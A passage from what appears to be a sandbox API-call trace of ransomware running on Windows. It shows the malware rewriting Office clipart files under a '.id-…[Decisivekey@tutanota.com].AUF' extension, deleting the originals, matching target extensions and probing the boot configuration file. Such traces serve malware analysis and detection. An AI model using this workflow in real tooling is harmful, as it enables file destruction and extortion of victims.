dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.042] SetEndOfFile (hFile=0x1d8) returned 1 [0225.043] CloseHandle (hObject=0x1d8) returned 1 [0225.043] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0225.043] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099165.jpg")) returned 1 [0225.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0225.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0225.044] lstrlenW (lpString=".doc") returned 4 [0225.044] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0225.044] lstrlenW (lpString=".docx") returned 5 [0225.044] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0225.044] lstrlenW (lpString=".pdf") returned 4 [0225.044] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0225.044] lstrlenW (lpString=".xls") returned 4 [0225.044] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0225.044] lstrlenW (lpString=".xlsx") returned 5 [0225.044] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0225.044] lstrlenW (lpString=".ppt") returned 4 [0225.044] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0225.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0225.044] lstrlenW (lpString=".zip") returned 4 [0225.044] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0225.044] lstrlenW (lpString=".rar") returned 4 [0225.044] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0225.044] lstrlenW (lpString=".bz2") returned 4 [0225.044] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0225.044] lstrlenW (lpString=".7z") returned 3 [0225.044] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0225.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0225.044] lstrlenW (lpString=".dbf") returned 4 [0225.044] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0225.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0225.044] lstrlenW (lpString=".1cd") returned 4 [0225.044] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0225.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099165.JPG") returned 63 [0225.044] lstrlenW (lpString=".jpg") returned 4 [0225.044] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0225.044] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=20179) returned 1 [0225.044] CloseHandle (hObject=0x1d8) returned 1 [0225.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg")) returned 0x20 [0225.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0225.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0225.045] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.045] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0225.045] GetLastError () returned 0x0 [0225.045] ReadFile (in: hFile=0x1d8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x4ed3, lpOverlapped=0x0) returned 1 [0225.058] WriteFile (in: hFile=0x218, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x4ee0, lpOverlapped=0x0) returned 1 [0225.059] ReadFile (in: hFile=0x1d8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0225.059] WriteFile (in: hFile=0x218, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0225.059] SetEndOfFile (hFile=0x218) returned 1 [0225.059] CloseHandle (hObject=0x218) returned 1 [0225.059] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.059] SetEndOfFile (hFile=0x1d8) returned 1 [0225.060] CloseHandle (hObject=0x1d8) returned 1 [0225.060] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0225.060] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099168.jpg")) returned 1 [0225.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0225.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0225.060] lstrlenW (lpString=".doc") returned 4 [0225.060] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0225.060] lstrlenW (lpString=".docx") returned 5 [0225.060] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0225.061] lstrlenW (lpString=".pdf") returned 4 [0225.061] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0225.061] lstrlenW (lpString=".xls") returned 4 [0225.061] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0225.061] lstrlenW (lpString=".xlsx") returned 5 [0225.061] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0225.061] lstrlenW (lpString=".ppt") returned 4 [0225.061] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0225.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0225.061] lstrlenW (lpString=".zip") returned 4 [0225.061] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0225.061] lstrlenW (lpString=".rar") returned 4 [0225.061] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0225.061] lstrlenW (lpString=".bz2") returned 4 [0225.061] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0225.061] lstrlenW (lpString=".7z") returned 3 [0225.061] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0225.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0225.061] lstrlenW (lpString=".dbf") returned 4 [0225.061] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0225.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0225.061] lstrlenW (lpString=".1cd") returned 4 [0225.061] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0225.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0225.061] lstrlenW (lpString=".jpg") returned 4 [0225.061] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0225.061] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=8754) returned 1 [0225.061] CloseHandle (hObject=0x1d8) returned 1 [0225.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf")) returned 0x20 [0225.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0225.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0225.062] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.062] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0225.062] GetLastError () returned 0x0 [0225.062] ReadFile (in: hFile=0x1d8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x2232, lpOverlapped=0x0) returned 1 [0225.074] WriteFile (in: hFile=0x218, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x2240, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x2240, lpOverlapped=0x0) returned 1 [0225.075] ReadFile (in: hFile=0x1d8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0225.075] WriteFile (in: hFile=0x218, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0225.075] SetEndOfFile (hFile=0x218) returned 1 [0225.075] CloseHandle (hObject=0x218) returned 1 [0225.075] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.075] SetEndOfFile (hFile=0x1d8) returned 1 [0225.076] CloseHandle (hObject=0x1d8) returned 1 [0225.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0225.076] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf")) returned 1 [0225.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0225.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0225.076] lstrlenW (lpString=".doc") returned 4 [0225.076] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0225.076] lstrlenW (lpString=".docx") returned 5 [0225.076] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0225.076] lstrlenW (lpString=".pdf") returned 4 [0225.076] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0225.076] lstrlenW (lpString=".xls") returned 4 [0225.076] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0225.076] lstrlenW (lpString=".xlsx") returned 5 [0225.076] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0225.076] lstrlenW (lpString=".ppt") returned 4 [0225.076] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0225.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0225.077] lstrlenW (lpString=".zip") returned 4 [0225.077] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0225.077] lstrlenW (lpString=".rar") returned 4 [0225.077] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0225.077] lstrlenW (lpString=".bz2") returned 4 [0225.077] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0225.077] lstrlenW (lpString=".7z") returned 3 [0225.077] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0225.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0225.077] lstrlenW (lpString=".dbf") returned 4 [0225.077] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0225.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0225.077] lstrlenW (lpString=".1cd") returned 4 [0225.077] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0225.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0225.077] lstrlenW (lpString=".jpg") returned 4 [0225.077] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0225.077] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=6214) returned 1 [0225.077] CloseHandle (hObject=0x1d8) returned 1 [0225.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf")) returned 0x20 [0225.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0225.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0225.077] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.077] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0225.078] GetLastError () returned 0x0 [0225.078] ReadFile (in: hFile=0x1d8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x1846, lpOverlapped=0x0) returned 1 [0225.079] WriteFile (in: hFile=0x218, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x1850, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x1850, lpOverlapped=0x0) returned 1 [0225.080] ReadFile (in: hFile=0x1d8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0225.080] WriteFile (in: hFile=0x218, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0225.080] SetEndOfFile (hFile=0x218) returned 1 [0225.080] CloseHandle (hObject=0x218) returned 1 [0225.080] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.080] SetEndOfFile (hFile=0x1d8) returned 1 [0225.080] CloseHandle (hObject=0x1d8) returned 1 [0225.081] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0225.081] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf")) returned 1 [0225.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0225.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0225.081] lstrlenW (lpString=".doc") returned 4 [0225.081] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0225.081] lstrlenW (lpString=".docx") returned 5 [0225.081] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0225.081] lstrlenW (lpString=".pdf") returned 4 [0225.081] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0225.081] lstrlenW (lpString=".xls") returned 4 [0225.081] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0225.081] lstrlenW (lpString=".xlsx") returned 5 [0225.081] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0225.081] lstrlenW (lpString=".ppt") returned 4 [0225.081] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0225.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0225.081] lstrlenW (lpString=".zip") returned 4 [0225.081] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0225.081] lstrlenW (lpString=".rar") returned 4 [0225.081] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0225.081] lstrlenW (lpString=".bz2") returned 4 [0225.081] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0225.081] lstrlenW (lpString=".7z") returned 3 [0225.081] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0225.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0225.081] lstrlenW (lpString=".dbf") returned 4 [0225.081] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0225.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0225.081] lstrlenW (lpString=".1cd") returned 4 [0225.082] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0225.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF") returned 63 [0225.082] lstrlenW (lpString=".jpg") returned 4 [0225.082] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0225.082] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=9744) returned 1 [0225.082] CloseHandle (hObject=0x1d8) returned 1 [0225.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf")) returned 0x20 [0225.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0225.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0225.083] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.083] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0225.083] GetLastError () returned 0x0 [0225.083] ReadFile (in: hFile=0x1d8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x2610, lpOverlapped=0x0) returned 1 [0225.332] WriteFile (in: hFile=0x218, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x2620, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x2620, lpOverlapped=0x0) returned 1 [0225.334] ReadFile (in: hFile=0x1d8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0225.334] WriteFile (in: hFile=0x218, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0225.334] SetEndOfFile (hFile=0x218) returned 1 [0225.501] CloseHandle (hObject=0x218) returned 1 [0225.502] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0225.502] SetEndOfFile (hFile=0x1d8) returned 1 [0225.502] CloseHandle (hObject=0x1d8) returned 1 [0225.502] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0225.502] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf")) Thread: id = 12 os_tid = 0x128 [0203.824] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x773b0000 [0203.824] GetProcAddress (hModule=0x773b0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x773dd650 [0203.824] Wow64DisableWow64FsRedirection (in: OldValue=0x2bdff58 | out: OldValue=0x2bdff58*=0x0) returned 1 [0203.824] lstrlenW (lpString="kernel32.dll") returned 12 [0203.824] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0203.824] Sleep (dwMilliseconds=0x64) [0204.070] lstrlenW (lpString="BCD") returned 3 [0204.070] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0204.070] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0204.070] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0204.070] lstrlenW (lpString=".doc") returned 4 [0204.070] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0204.070] lstrlenW (lpString=".docx") returned 5 [0204.070] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0204.070] lstrlenW (lpString=".pdf") returned 4 [0204.070] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0204.070] lstrlenW (lpString=".xls") returned 4 [0204.070] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0204.070] lstrlenW (lpString=".xlsx") returned 5 [0204.070] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0204.070] lstrlenW (lpString=".ppt") returned 4 [0204.070] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0204.070] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0204.070] lstrlenW (lpString=".zip") returned 4 [0204.070] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0204.070] lstrlenW (lpString=".rar") returned 4 [0204.070] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0204.070] lstrlenW (lpString=".bz2") returned 4 [0204.071] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0204.071] lstrlenW (lpString=".7z") returned 3 [0204.071] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0204.071] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0204.071] lstrlenW (lpString=".dbf") returned 4 [0204.071] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0204.071] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0204.071] lstrlenW 